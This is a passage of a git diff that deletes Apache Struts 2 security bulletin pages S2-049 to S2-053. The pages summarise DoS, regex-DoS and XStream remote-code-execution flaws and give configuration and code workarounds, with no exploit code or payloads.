-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-049</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-049.html">S2-049</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-049</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=71012432">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=71012432">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=71012432">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=71012432">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=71012432">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=71012432">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-049-Summary">Summary</h2>A DoS attack is available for Spring secured actions<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" cl [...]
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">&lt;constant name="struts.additional.excludedPatterns" value=".\.accessDecisionManager\.." /&gt;</pre>
-</div></div><p>&#160;</p><p>&#160;</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-050.html b/content/docs/s2-050.html
deleted file mode 100644
index 061db19..0000000
--- a/content/docs/s2-050.html
+++ /dev/null
@@ -1,166 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-050</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-050.html">S2-050</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-050</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=73634772">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=73634772">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=73634772">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=73634772">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=73634772">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=73634772">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-050-Summary">Summary</h2><span style="color: rgb(34,34,34);">A regular expression Denial of Service when using URLValidator (similar to S2-044 &amp; S2-047)</span><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1"  [...]
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">"^(?:https?|ftp):\\/\\/" +
-"(?:(?:[a-z0-9$_.+!*'(),;?&amp;=\\-]|%[0-9a-f]{2})+" +
-"(?::(?:[a-z0-9$_.+!*'(),;?&amp;=\\-]|%[0-9a-f]{2})+)?" +
-"@)?#?" +
-"(?:(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)*" +
-"[a-z][a-z0-9-]*[a-z0-9]" +
-"|(?:(?:[1-9]?\\d|1\\d{2}|2[0-4]\\d|25[0-5])\\.){3}" +
-"(?:[1-9]?\\d|1\\d{2}|2[0-4]\\d|25[0-5])" +
-")(?::\\d+)?" +
-")(?:(?:\\/(?:[a-z0-9$_.+!*'(),;:@&amp;=\\-]|%[0-9a-f]{2})*)*" +
-"(?:\\?(?:[a-z0-9$_.+!*'(),;:@&amp;=\\-\\/:]|%[0-9a-f]{2})*)?)?" +
-"(?:#(?:[a-z0-9$_.+!*'(),;:@&amp;=\\-]|%[0-9a-f]{2})*)?" +
-"$"</pre>
-</div></div><p>&#160;</p><p>&#160;</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-051.html b/content/docs/s2-051.html
deleted file mode 100644
index fb661c0..0000000
--- a/content/docs/s2-051.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-051</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-051.html">S2-051</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-051</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=73634777">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=73634777">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=73634777">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=73634777">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=73634777">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=73634777">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-051-Summary">Summary</h2>A remote attacker may create a DoS attack by sending crafted xml request when using the Struts REST plugin<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact o [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-052.html b/content/docs/s2-052.html
deleted file mode 100644
index e4f1c21..0000000
--- a/content/docs/s2-052.html
+++ /dev/null
@@ -1,162 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-052</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-052.html">S2-052</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-052</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=73634784">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=73634784">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=73634784">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=73634784">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=73634784">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=73634784">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-052-Summary">Summary</h2>Possible Remote Code Execution attack when using the Struts REST plugin with XStream handler to handle XML payloads<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p [...]
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">&lt;constant name="struts.action.extension" value="xhtml,,json" /&gt;</pre>
-</div></div></li><li><p>Override&#160;<code>getContentType</code>&#160;in&#160;<code>XStreamHandler</code></p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Confluence" style="font-size:12px;">public class MyXStreamHandler extends XStreamHandler { public String getContentType() {
- return "not-existing-content-type-@;/&amp;%$#@";
- }
-}</pre>
-</div></div></li><li><p>Register the handler by overriding the one provided by the framework in&#160;your&#160;<code>struts.xml</code></p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">&lt;bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="myXStreamHandmer" class="com.company.MyXStreamHandler"/&gt;
-&lt;constant name="struts.rest.handlerOverride.xml" value="myXStreamHandler"/&gt;</pre>
-</div></div></li></ol><p>&#160;</p><p>&#160;</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-053.html b/content/docs/s2-053.html
deleted file mode 100644
index ab21108..0000000
--- a/content/docs/s2-053.html
+++ /dev/null
@@ -1,159 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-053</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
